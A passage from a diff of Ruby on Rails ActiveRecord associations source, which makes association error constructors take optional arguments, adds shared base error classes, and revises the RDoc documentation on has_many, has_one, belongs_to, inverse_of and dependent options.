reflection && source_reflection + super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic. Try removing :source_type on your association.") + else + super("Cannot have a has_many :through association.") + end end end class HasOneThroughCantAssociateThroughCollection < ActiveRecordError #:nodoc: - def initialize(owner_class_name, reflection, through_reflection) - super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' where the :through association '#{owner_class_name}##{through_reflection.name}' is a collection. Specify a has_one or belongs_to association in the :through option instead.") + def initialize(owner_class_name = nil, reflection = nil, through_reflection = nil) + if owner_class_name && reflection && through_reflection + super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' where the :through association '#{owner_class_name}##{through_reflection.name}' is a collection. Specify a has_one or belongs_to association in the :through option instead.") + else + super("Cannot have a has_one :through association.") + end end end class HasOneAssociationPolymorphicThroughError < ActiveRecordError #:nodoc: - def initialize(owner_class_name, reflection) - super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.") + def initialize(owner_class_name = nil, reflection = nil) + if owner_class_name && reflection + super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.") + else + super("Cannot have a has_one :through association.") + end end end class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc: - def initialize(reflection) - through_reflection = reflection.through_reflection - source_reflection_names = reflection.source_reflection_names - source_associations = reflection.through_reflection.klass._reflections.keys - super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?") + def initialize(reflection = nil) + if reflection + through_reflection = reflection.through_reflection + source_reflection_names = reflection.source_reflection_names + source_associations = reflection.through_reflection.klass._reflections.keys + super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?") + else + super("Could not find the source association(s).") + end end end - class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc: - def initialize(owner, reflection) - super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.") + class ThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc: + def initialize(owner = nil, reflection = nil) + if owner && reflection + super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.") + else + super("Cannot modify association.") + end end end + class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection #:nodoc: + end + + class HasOneThroughCantAssociateThroughHasOneOrManyReflection < ThroughCantAssociateThroughHasOneOrManyReflection #:nodoc: + end + class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc: - def initialize(owner, reflection) - super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.") + def initialize(owner = nil, reflection = nil) + if owner && reflection + super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.") + else + super("Cannot associate new records.") + end end end class HasManyThroughCantDissociateNewRecords < ActiveRecordError #:nodoc: - def initialize(owner, reflection) - super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.") + def initialize(owner = nil, reflection = nil) + if owner && reflection + super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.") + else + super("Cannot dissociate new records.") + end end end - class HasManyThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc: - def initialize(owner, reflection) - super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.") + class ThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc: + def initialize(owner = nil, reflection = nil) + if owner && reflection + super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.") + else + super("Through nested associations are read-only.") + end end end - class EagerLoadPolymorphicError < ActiveRecordError #:nodoc: - def initialize(reflection) - super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}") + class HasManyThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly #:nodoc: + end + + class HasOneThroughNestedAssociationsAreReadonly < ThroughNestedAssociationsAreReadonly #:nodoc: + end + + # This error is raised when trying to eager load a polymorphic association using a JOIN. + # Eager loading polymorphic associations is only possible with + # {ActiveRecord::Relation#preload}[rdoc-ref:QueryMethods#preload]. + class EagerLoadPolymorphicError < ActiveRecordError + def initialize(reflection = nil) + if reflection + super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}") + else + super("Eager load polymorphic error.") + end end end class ReadOnlyAssociation < ActiveRecordError #:nodoc: - def initialize(reflection) - super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.") + def initialize(reflection = nil) + if reflection + super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.") + else + super("Read-only reflection error.") + end end end @@ -101,8 +176,12 @@ module ActiveRecord # (has_many, has_one) when there is at least 1 child associated instance. # ex: if @project.tasks.size > 0, DeleteRestrictionError will be raised when trying to destroy @project class DeleteRestrictionError < ActiveRecordError #:nodoc: - def initialize(name) - super("Cannot delete record because of dependent #{name}") + def initialize(name = nil) + if name + super("Cannot delete record because of dependent #{name}") + else + super("Delete restriction error.") + end end end @@ -185,7 +264,7 @@ module ActiveRecord super end - # Returns the specified association instance if it responds to :loaded?, nil otherwise. + # Returns the specified association instance if it exists, nil otherwise. def association_instance_get(name) @association_cache[name] end @@ -222,7 +301,7 @@ module ActiveRecord # === A word of warning # # Don't create associations that have the same name as instance methods of - # <tt>ActiveRecord::Base</tt>. Since the association adds a method with that name to + # ActiveRecord::Base. Since the association adds a method with that name to # its model, it will override the inherited method and break things. # For instance, +attributes+ and +connection+ would be bad choices for association names. # @@ -239,7 +318,7 @@ module ActiveRecord # create_other(attributes={}) | X | | X # create_other!(attributes={}) | X | | X # - # ===Collection associations (one-to-many / many-to-many) + # === Collection associations (one-to-many / many-to-many) # | | | has_many # generated methods | habtm | has_many | :through # ----------------------------------+-------+----------+---------- @@ -266,7 +345,6 @@ module ActiveRecord # others.find(*args) | X | X | X # others.exists? | X | X | X # others.distinct | X | X | X - # others.uniq | X | X | X # others.reset | X | X | X # # === Overriding generated methods @@ -285,7 +363,7 @@ module ActiveRecord # end # # If your model class is <tt>Project</tt>, the module is - # named <tt>Project::GeneratedFeatureMethods</tt>. The GeneratedFeatureMethods module is + # named <tt>Project::GeneratedAssociationMethods</tt>. The +GeneratedAssociationMethods+ module is # included in the model class immediately after the (anonymous) generated attributes methods # module, meaning an association will override the methods for an attribute with the same name. # @@ -293,12 +371,12 @@ module ActiveRecord # # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many # relationships between models. Each model uses an association to describe its role in - # the relation. The +belongs_to+ association is always used in the model that has + # the relation. The #belongs_to association is always used in the model that has # the foreign key. # # === One-to-one # - # Use +has_one+ in the base, and +belongs_to+ in the associated model. + # Use #has_one in the base, and #belongs_to in the associated model. # # class Employee < ActiveRecord::Base # has_one :office @@ -309,7 +387,7 @@ module ActiveRecord # # === One-to-many # - # Use +has_many+ in the base, and +belongs_to+ in the associated model. + # Use #has_many in the base, and #belongs_to in the associated model. # # class Manager < ActiveRecord::Base # has_many :employees @@ -322,7 +400,7 @@ module ActiveRecord # # There are two ways to build a many-to-many relationship. # - # The first way uses a +has_many+ association with the <tt>:through</tt> option and a join model, so + # The first way uses a #has_many association with the <tt>:through</tt> option and a join model, so # there are two stages of associations. # # class Assignment < ActiveRecord::Base @@ -338,7 +416,7 @@ module ActiveRecord # has_many :programmers, through: :assignments # end # - # For the second way, use +has_and_belongs_to_many+ in both models. This requires a join table + # For the second way, use #has_and_belongs_to_many in both models. This requires a join table # that has no corresponding model or primary key. # # class Programmer < ActiveRecord::Base @@ -350,13 +428,13 @@ module ActiveRecord # # Choosing which way to build a many-to-many relationship is not always simple. # If you need to work with the relationship model as its own entity, - # use <tt>has_many :through</tt>. Use +has_and_belongs_to_many+ when working with legacy schemas or when + # use #has_many <tt>:through</tt>. Use #has_and_belongs_to_many when working with legacy schemas or when # you never work directly with the relationship itself. # - # == Is it a +belongs_to+ or +has_one+ association? + # == Is it a #belongs_to or #has_one association? # # Both express a 1-1 relationship. The difference is mostly where to place the foreign - # key, which goes on the table for the class declaring the +belongs_to+ relationship. + # key, which goes on the table for the class declaring the #belongs_to relationship. # # class User < ActiveRecord::Base # # I reference an account. @@ -371,14 +449,14 @@ module ActiveRecord # The tables for these classes could look something like: # # CREATE TABLE users ( - # id int(11) NOT NULL auto_increment, - # account_id int(11) default NULL, + # id int NOT NULL auto_increment, + # account_id int default NULL, # name varchar default NULL, # PRIMARY KEY (id) # ) # # CREATE TABLE accounts ( - # id int(11) NOT NULL auto_increment, + # id int NOT NULL auto_increment, # name varchar default NULL, # PRIMARY KEY (id) # ) @@ -389,35 +467,35 @@ module ActiveRecord # there is some special behavior you should be aware of, mostly involving the saving of # associated objects. # - # You can set the <tt>:autosave</tt> option on a <tt>has_one</tt>, <tt>belongs_to</tt>, - # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it + # You can set the <tt>:autosave</tt> option on a #has_one, #belongs_to, + # #has_many, or #has_and_belongs_to_many association. Setting it # to +true+ will _always_ save the members, whereas setting it to +false+ will # _never_ save the members. More details about <tt>:autosave</tt> option is available at # AutosaveAssociation. # # === One-to-one associations # - # * Assigning an object to a +has_one+ association automatically saves that object and + # * Assigning an object to a #has_one association automatically saves that object and # the object being replaced (if there is one), in order to update their foreign # keys - except if the parent object is unsaved (<tt>new_record? == true</tt>). # * If either of these saves fail (due to one of the objects being invalid), an - # <tt>ActiveRecord::RecordNotSaved</tt> exception is raised and the assignment is + # ActiveRecord::RecordNotSaved exception is raised and the assignment is # cancelled. - # * If you wish to assign an object to a +has_one+ association without saving it, - # use the <tt>build_association</tt> method (documented below). The object being + # * If you wish to assign an object to a #has_one association without saving it, + # use the <tt>#build_association</tt> method (documented below). The object being # replaced will still be saved to update its foreign key. - # * Assigning an object to a +belongs_to+ association does not save the object, since + # * Assigning an object to a #belongs_to association does not save the object, since # the foreign key field belongs on the parent. It does not save the parent either. # # === Collections # - # * Adding an object to a collection (+has_many+ or +has_and_belongs_to_many+) automatically + # * Adding an object to a collection (#has_many or #has_and_belongs_to_many) automatically # saves that object, except if the parent object (the owner of the collection) is not yet # stored in the database. # * If saving any of the objects being added to a collection (via <tt>push</tt> or similar) # fails, then <tt>push</tt> returns +false+. # * If saving fails while replacing the collection (via <tt>association=</tt>), an - # <tt>ActiveRecord::RecordNotSaved</tt> exception is raised and the assignment is + # ActiveRecord::RecordNotSaved exception is raised and the assignment is # cancelled. # * You can add an object to a collection without automatically saving it by using the # <tt>collection.build</tt> method (documented below). @@ -426,14 +504,14 @@ module ActiveRecord # # == Customizing the query # - # \Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax + # \Associations are built from <tt>Relation</tt> objects, and you can use the Relation syntax # to customize them. For example, to add a condition: # # class Blog < ActiveRecord::Base - # has_many :published_posts, -> { where published: true }, class_name: 'Post' + # has_many :published_posts, -> { where(published: true) }, class_name: 'Post' # end # - # Inside the <tt>-> { ... }</tt> block you can use all of the usual <tt>Relation</tt> methods. + # Inside the <tt>-> { ... }</tt> block you can use all of the usual Relation methods. # # === Accessing the owner object # @@ -442,7 +520,7 @@ module ActiveRecord # events that occur on the user's birthday: # # class User < ActiveRecord::Base - # has_many :birthday_events, ->(user) { where starts_on: user.birthday }, class_name: 'Event' + # has_many :birthday_events, ->(user) { where(starts_on: user.birthday) }, class_name: 'Event' # end # # Note: Joining, eager loading and preloading of these associations is not fully possible. @@ -521,8 +599,8 @@ module ActiveRecord # # * <tt>record.association(:items).owner</tt> - Returns the object the association is part of. # * <tt>record.association(:items).reflection</tt> - Returns the reflection object that describes the association. - # * <tt>record.association(:items).target</tt> - Returns the associated object for +belongs_to+ and +has_one+, or - # the collection of associated objects for +has_many+ and +has_and_belongs_to_many+. + # * <tt>record.association(:items).target</tt> - Returns the associated object for #belongs_to and #has_one, or + # the collection of associated objects for #has_many and #has_and_belongs_to_many. # # However, inside the actual extension code, you will not have access to the <tt>record</tt> as # above. In this case, you can access <tt>proxy_association</tt>. For example, @@ -534,7 +612,7 @@ module ActiveRecord # # Has Many associations can be configured with the <tt>:through</tt> option to use an # explicit join model to retrieve the data. This operates similarly to a - # +has_and_belongs_to_many+ association. The advantage is that you're able to add validations, + # #has_and_belongs_to_many association. The advantage is that you're able to add validations, # callbacks, and extra attributes on the join model. Consider the following schema: # # class Author < ActiveRecord::Base @@ -551,7 +629,7 @@ module ActiveRecord # @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to # @author.books # selects all books by using the Authorship join model # - # You can also go through a +has_many+ association on the join model: + # You can also go through a #has_many association on the join model: # # class Firm < ActiveRecord::Base # has_many :clients @@ -571,7 +649,7 @@ module ActiveRecord # @firm.clients.flat_map { |c| c.invoices } # select all invoices for all clients of the firm # @firm.invoices # selects all invoices by going through the Client join model # - # Similarly you can go through a +has_one+ association on the join model: + # Similarly you can go through a #has_one association on the join model: # # class Group < ActiveRecord::Base # has_many :users @@ -591,7 +669,7 @@ module ActiveRecord # @group.users.collect { |u| u.avatar }.compact # select all avatars for all users in the group # @group.avatars # selects all avatars by going through the User join model. # - # An important caveat with going through +has_one+ or +has_many+ associations on the + # An important caveat with going through #has_one or #has_many associations on the # join model is that these associations are *read-only*. For example, the following # would not work following the previous example: # @@ -600,26 +678,26 @@ module ActiveRecord # # == Setting Inverses # - # If you are using a +belongs_to+ on the join model, it is a good idea to set the - # <tt>:inverse_of</tt> option on the +belongs_to+, which will mean that the following example - # works correctly (where <tt>tags</tt> is a +has_many+ <tt>:through</tt> association): + # If you are using a #belongs_to on the join model, it is a good idea to set the + # <tt>:inverse_of</tt> option on the #belongs_to, which will mean that the following example + # works correctly (where <tt>tags</tt> is a #has_many <tt>:through</tt> association): # # @post = Post.first # @tag = @post.tags.build name: "ruby" # @tag.save # - # The last line ought to save the through record (a <tt>Taggable</tt>). This will only work if the + # The last line ought to save the through record (a <tt>Tagging</tt>). This will only work if the # <tt>:inverse_of</tt> is set: # - # class Taggable < ActiveRecord::Base + # class Tagging < ActiveRecord::Base # belongs_to :post # belongs_to :tag, inverse_of: :taggings # end # # If you do not set the <tt>:inverse_of</tt> record, the association will # do its best to match itself up with the correct inverse. Automatic - # inverse detection only works on <tt>has_many</tt>, <tt>has_one</tt>, and - # <tt>belongs_to</tt> associations. + # inverse detection only works on #has_many, #has_one, and + # #belongs_to associations. # # Extra options on the associations, as defined in the # <tt>AssociationReflection::INVALID_AUTOMATIC_INVERSE_OPTIONS</tt> constant, will @@ -632,7 +710,7 @@ module ActiveRecord # You can turn off the automatic detection of inverse associations by setting # the <tt>:inverse_of</tt> option to <tt>false</tt> like so: # - # class Taggable < ActiveRecord::Base + # class Tagging < ActiveRecord::Base # belongs_to :tag, inverse_of: false # end # @@ -682,7 +760,7 @@ module ActiveRecord # == Polymorphic \Associations # # Polymorphic associations on models are not restricted on what types of models they - # can be associated with. Rather, they specify an interface that a +has_many+ association + # can be associated with. Rather, they specify an interface that a #has_many association # must adhere to. # # class Asset < ActiveRecord::Base @@ -766,7 +844,7 @@ module ActiveRecord # # Post.includes(:author).each do |post| # - # This references the name of the +belongs_to+ association that also used the <tt>:author</tt> + # This references the name of the #belongs_to association that also used the <tt>:author</tt> # symbol. After loading the posts, find will collect the +author_id+ from each one and load # all the referenced authors with one query. Doing so will cut down the number of queries # from 201 to 102. @@ -777,7 +855,7 @@ module ActiveRecord # # This will load all comments with a single query. This reduces the total number of queries # to 3. In general, the number of queries will be 1 plus the number of associations - # named (except if some of the associations are polymorphic +belongs_to+ - see below). + # named (except if some of the associations are polymorphic #belongs_to - see below). # # To include a deep hierarchy of associations, use a hash: # @@ -817,7 +895,7 @@ module ActiveRecord # In this case it is usually more natural to include an association which has conditions defined on it: # # class Post < ActiveRecord::Base - # has_many :approved_comments, -> { where approved: true }, class_name: 'Comment' + # has_many :approved_comments, -> { where(approved: true) }, class_name: 'Comment' # end # # Post.includes(:approved_comments) @@ -849,7 +927,7 @@ module ActiveRecord # For example if all the addressables are either of class Person or Company then a total # of 3 queries will be executed. The list of addressable types to load is determined on # the back of the addresses loaded. This is not supported if Active Record has to fallback - # to the previous implementation of eager loading and will raise <tt>ActiveRecord::EagerLoadPolymorphicError</tt>. + # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError. # The reason is that the parent model's type is a column value so its corresponding table # name cannot be put in the +FROM+/+JOIN+ clauses of that query. # @@ -891,7 +969,7 @@ module ActiveRecord # INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories # INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2 # - # If you wish to specify your own custom joins using <tt>joins</tt> method, those table + # If you wish to specify your own custom joins using ActiveRecord::QueryMethods#joins method, those table # names will take precedence over the eager associations: # # Post.joins(:comments).joins("inner join comments ...") @@ -956,20 +1034,16 @@ module ActiveRecord # The +traps+ association on +Dungeon+ and the +dungeon+ association on +Trap+ are # the inverse of each other and the inverse of the +dungeon+ association on +EvilWizard+ # is the +evil_wizard+ association on +Dungeon+ (and vice-versa). By default, - # Active Record doesn't know anything about these inverse relationships and so no object - # loading optimization is possible. For example: + # Active Record can guess the inverse of the association based on the name + # of the class. The result is the following: # # d = Dungeon.first # t = d.traps.first - # d.level == t.dungeon.level # => true - # d.level = 10 - # d.level == t.dungeon.level # => false + # d.object_id == t.dungeon.object_id # => true # # The +Dungeon+ instances +d+ and <tt>t.dungeon</tt> in the above example refer to - # the same object data from the database, but are actually different in-memory copies - # of that data. Specifying the <tt>:inverse_of</tt> option on associations lets you tell - # Active Record about inverse relationships and it will optimise object loading. For - # example, if we changed our model definitions to: + # the same in-memory instance since the association matches the name of the class. + # The result would be the same if we added +:inverse_of+ to our model definitions: # # class Dungeon < ActiveRecord::Base # has_many :traps, inverse_of: :dungeon @@ -984,20 +1058,19 @@ module ActiveRecord # belongs_to :dungeon, inverse_of: :evil_wizard # end # - # Then, from our code snippet above, +d+ and <tt>t.dungeon</tt> are actually the same - # in-memory instance and our final <tt>d.level == t.dungeon.level</tt> will return +true+. - # # There are limitations to <tt>:inverse_of</tt> support: # # * does not work with <tt>:through</tt> associations. # * does not work with <tt>:polymorphic</tt> associations. - # * for +belongs_to+ associations +has_many+ inverse associations are ignored. + # * for #belongs_to associations #has_many inverse associations are ignored. + # + # For more information, see the documentation for the +:inverse_of+ option. # # == Deleting from associations # # === Dependent associations # - # +has_many+, +has_one+ and +belongs_to+ associations support the <tt>:dependent</tt> option. + # #has_many, #has_one and #belongs_to associations support the <tt>:dependent</tt> option. # This allows you to specify that associated records should be deleted when the owner is # deleted. # @@ -1018,22 +1091,22 @@ module ActiveRecord # callbacks declared either before or after the <tt>:dependent</tt> option # can affect what it does. # - # Note that <tt>:dependent</tt> option is ignored for +has_one+ <tt>:through</tt> associations. + # Note that <tt>:dependent</tt> option is ignored for #has_one <tt>:through</tt> associations. # # === Delete or destroy? # - # +has_many+ and +has_and_belongs_to_many+ associations have the methods <tt>destroy</tt>, + # #has_many and #has_and_belongs_to_many associations have the methods <tt>destroy</tt>, # <tt>delete</tt>, <tt>destroy_all</tt> and <tt>delete_all</tt>. # - # For +has_and_belongs_to_many+, <tt>delete</tt> and <tt>destroy</tt> are the same: they + # For #has_and_belongs_to_many, <tt>delete</tt> and <tt>destroy</tt> are the same: they # cause the records in the join table to be removed. # - # For +has_many+, <tt>destroy</tt> and <tt>destroy_all</tt> will always call the <tt>destroy</tt> method of the + # For #has_many, <tt>destroy</tt> and <tt>destroy_all</tt> will always call the <tt>destroy</tt> method of the # record(s) being removed so that callbacks are run. However <tt>delete</tt> and <tt>delete_all</tt> will either # do the deletion according to the strategy specified by the <tt>:dependent</tt> option, or # if no <tt>:dependent</tt> option is given, then it will follow the default strategy. # The default strategy is to do nothing (leave the foreign keys with the parent ids set), except for - # +has_many+ <tt>:through</tt>, where the default strategy is <tt>delete_all</tt> (delete + # #has_many <tt>:through</tt>, where the default strategy is <tt>delete_all</tt> (delete # the join records, without running their callbacks). # # There is also a <tt>clear</tt> method which is the same as <tt>delete_all</tt>, except that @@ -1041,13 +1114,13 @@ module ActiveRecord # # === What gets deleted? # - # There is a potential pitfall here: +has_and_belongs_to_many+ and +has_many+ <tt>:through</tt> + # There is a potential pitfall here: #has_and_belongs_to_many and #has_many <tt>:through</tt> # associations have records in join tables, as well as the associated records. So when we # call one of these deletion methods, what exactly should be deleted? # # The answer is that it is assumed that deletion on an association is about removing the # <i>link</i> between the owner and the associated object(s), rather than necessarily the - # associated objects themselves. So with +has_and_belongs_to_many+ and +has_many+ + # associated objects themselves. So with #has_and_belongs_to_many and #has_many # <tt>:through</tt>, the join records will be deleted, but the associated records won't. # # This makes sense if you think about it: if you were to call <tt>post.tags.delete(Tag.find_by(name: 'food'))</tt> @@ -1058,20 +1131,20 @@ module ActiveRecord # a person has many projects, and each project has many tasks. If we deleted one of a person's # tasks, we would probably not want the project to be deleted. In this scenario, the delete method # won't actually work: it can only be used if the association on the join model is a - # +belongs_to+. In other situations you are expected to perform operations directly on + # #belongs_to. In other situations you are expected to perform operations directly on # either the associated records or the <tt>:through</tt> association. # - # With a regular +has_many+ there is no distinction between the "associated records" + # With a regular #has_many there is no distinction between the "associated records" # and the "link", so there is only one choice for what gets deleted. # - # With +has_and_belongs_to_many+ and +has_many+ <tt>:through</tt>, if you want to delete the + # With #has_and_belongs_to_many and #has_many <tt>:through</tt>, if you want to delete the # associated records themselves, you can always do something along the lines of # <tt>person.tasks.each(&:destroy)</tt>. # - # == Type safety with <tt>ActiveRecord::AssociationTypeMismatch</tt> + # == Type safety with ActiveRecord::AssociationTypeMismatch # # If you attempt to assign an object to an association that doesn't match the inferred - # or specified <tt>:class_name</tt>, you'll get an <tt>ActiveRecord::AssociationTypeMismatch</tt>. + # or specified <tt>:class_name</tt>, you'll get an ActiveRecord::AssociationTypeMismatch. # # == Options # @@ -1091,6 +1164,7 @@ module ActiveRecord # Adds one or more objects to the collection by setting their foreign keys to the collection's primary key. # Note that this operation instantly fires update SQL without waiting for the save or update call on the # parent object, unless the parent object is a new record. + # This will also run validations and callbacks of associated object(s). # [collection.delete(object, ...)] # Removes one or more objects from the collection by setting their foreign keys to +NULL+. # Objects will be in addition destroyed if they're associated with <tt>dependent: :destroy</tt>, @@ -1108,7 +1182,8 @@ module ActiveRecord # [collection=objects] # Replaces the collections content by deleting and adding objects as appropriate. If the <tt>:through</tt> # option is true callbacks in the join models are triggered except destroy callbacks, since deletion is - # direct. + # direct by default. You can specify <tt>dependent: :destroy</tt> or + # <tt>dependent: :nullify</tt> to override this. # [collection_singular_ids] # Returns an array of the associated objects' ids # [collection_singular_ids=ids] @@ -1125,10 +1200,10 @@ module ActiveRecord # [collection.size] # Returns the number of associated objects. # [collection.find(...)] - # Finds an associated object according to the same rules as <tt>ActiveRecord::Base.find</tt>. + # Finds an associated object according to the same rules as ActiveRecord::FinderMethods#find. # [collection.exists?(...)] # Checks whether an associated object with the given conditions exists. - # Uses the same rules as <tt>ActiveRecord::Base.exists?</tt>. + # Uses the same rules as ActiveRecord::FinderMethods#exists?. # [collection.build(attributes = {}, ...)] # Returns one or more new objects of the collection type that have been instantiated # with +attributes+ and linked to this object through a foreign key, but have not yet @@ -1139,7 +1214,7 @@ module ActiveRecord # been saved (if it passed the validation). *Note*: This only works if the base model # already exists in the DB, not if it is a new (unsaved) record! # [collection.create!(attributes = {})] - # Does the same as <tt>collection.create</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt> + # Does the same as <tt>collection.create</tt>, but raises ActiveRecord::RecordInvalid # if the record is invalid. # # === Example @@ -1191,11 +1266,11 @@ module ActiveRecord # [:class_name] # Specify the class name of the association. Use it only if that name can't be inferred # from the association name. So <tt>has_many :products</tt> will by default be linked - # to the Product class, but if the real class name is SpecialProduct, you'll have to + # to the +Product+ class, but if the real class name is +SpecialProduct+, you'll have to # specify it with this option. # [:foreign_key] # Specify the foreign key used for the association. By default this is guessed to be the name - # of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+ + # of this class in lower-case and "_id" suffixed. So a Person class that makes a #has_many # association will use "person_id" as the default <tt>:foreign_key</tt>. # [:foreign_type] # Specify the column used to store the associated object's type, if this is a polymorphic @@ -1219,20 +1294,20 @@ module ActiveRecord # * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects. # # If using with the <tt>:through</tt> option, the association on the join model must be - # a +belongs_to+, and the records which get deleted are the join records, rather than + # a #belongs_to, and the records which get deleted are the join records, rather than # the associated records. # [:counter_cache] # This option can be used to configure a custom named <tt>:counter_cache.</tt> You only need this option, - # when you customized the name of your <tt>:counter_cache</tt> on the <tt>belongs_to</tt> association. + # when you customized the name of your <tt>:counter_cache</tt> on the #belongs_to association. # [:as] - # Specifies a polymorphic interface (See <tt>belongs_to</tt>). + # Specifies a polymorphic interface (See #belongs_to). # [:through] # Specifies an association through which to perform the query. This can be any other type # of association, including other <tt>:through</tt> associations. Options for <tt>:class_name</tt>, # <tt>:primary_key</tt> and <tt>:foreign_key</tt> are ignored, as the association uses the # source reflection. # - # If the association on the join model is a +belongs_to+, the collection can be modified + # If the association on the join model is a #belongs_to, the collection can be modified # and the records on the <tt>:through</tt> model will be automatically created and removed # as appropriate. Otherwise, the collection is read-only, so you should manipulate the # <tt>:through</tt> association directly. @@ -1243,15 +1318,16 @@ module ActiveRecord # the appropriate join model records when they are saved. (See the 'Association Join Models' # section above.) # [:source] - # Specifies the source association name used by <tt>has_many :through</tt> queries. + # Specifies the source association name used by #has_many <tt>:through</tt> queries. # Only use it if the name cannot be inferred from the association. # <tt>has_many :subscribers, through: :subscriptions</tt> will look for either <tt>:subscribers</tt> or # <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given. # [:source_type] - # Specifies type of the source association used by <tt>has_many :through</tt> queries where the source - # association is a polymorphic +belongs_to+. + # Specifies type of the source association used by #has_many <tt>:through</tt> queries where the source + # association is a polymorphic #belongs_to. # [:validate] - # If +false+, don't validate the associated objects when saving the parent object. true by default. + # When set to +true+, validates new objects added to association when saving the parent object. +true+ by default. + # If you want to ensure associated objects are revalidated on every update, use +validates_associated+. # [:autosave] # If true, always save the associated objects or destroy them if marked for destruction, # when saving the parent object. If false, never save or destroy the associated objects. @@ -1259,10 +1335,11 @@ module ActiveRecord # +before_save+ callback. Because callbacks are run in the order they are defined, associated objects # may need to be explicitly saved in any user-defined +before_save+ callbacks. # - # Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>. + # Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets + # <tt>:autosave</tt> to <tt>true</tt>. # [:inverse_of] - # Specifies the name of the <tt>belongs_to</tt> association on the associated object - # that is the inverse of this <tt>has_many</tt> association. Does not work in combination + # Specifies the name of the #belongs_to association on the associated object + # that is the inverse of this #has_many association. Does not work in combination # with <tt>:through</tt> or <tt>:as</tt> options. # See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail. # [:extend] @@ -1271,10 +1348,10 @@ module ActiveRecord # association objects. # # Option examples: - # has_many :comments, -> { order "posted_on" } - # has_many :comments, -> { includes :author } + # has_many :comments, -> { order("posted_on") } + # has_many :comments, -> { includes(:author) } # has_many :people, -> { where(deleted: false).order("name") }, class_name: "Person" - # has_many :tracks, -> { order "position" }, dependent: :destroy + # has_many :tracks, -> { order("position") }, dependent: :destroy # has_many :comments, dependent: :nullify # has_many :tags, as: :taggable # has_many :reports, -> { readonly } @@ -1286,8 +1363,8 @@ module ActiveRecord # Specifies a one-to-one association with another class. This method should only be used # if the other class contains the foreign key. If the current class contains the foreign key, - # then you should use +belongs_to+ instead. See also ActiveRecord::Associations::ClassMethods's overview - # on when to use +has_one+ and when to use +belongs_to+. + # then you should use #belongs_to instead. See also ActiveRecord::Associations::ClassMethods's overview + # on when to use #has_one and when to use #belongs_to. # # The following methods for retrieval and query of a single associated object will be added: # @@ -1309,7 +1386,7 @@ module ActiveRecord # with +attributes+, linked to this object through a foreign key, and that # has already been saved (if it passed the validation). # [create_association!(attributes = {})] - # Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt> + # Does the same as <tt>create_association</tt>, but raises ActiveRecord::RecordInvalid # if the record is invalid. # # === Example @@ -1354,7 +1431,7 @@ module ActiveRecord # Note that <tt>:dependent</tt> option is 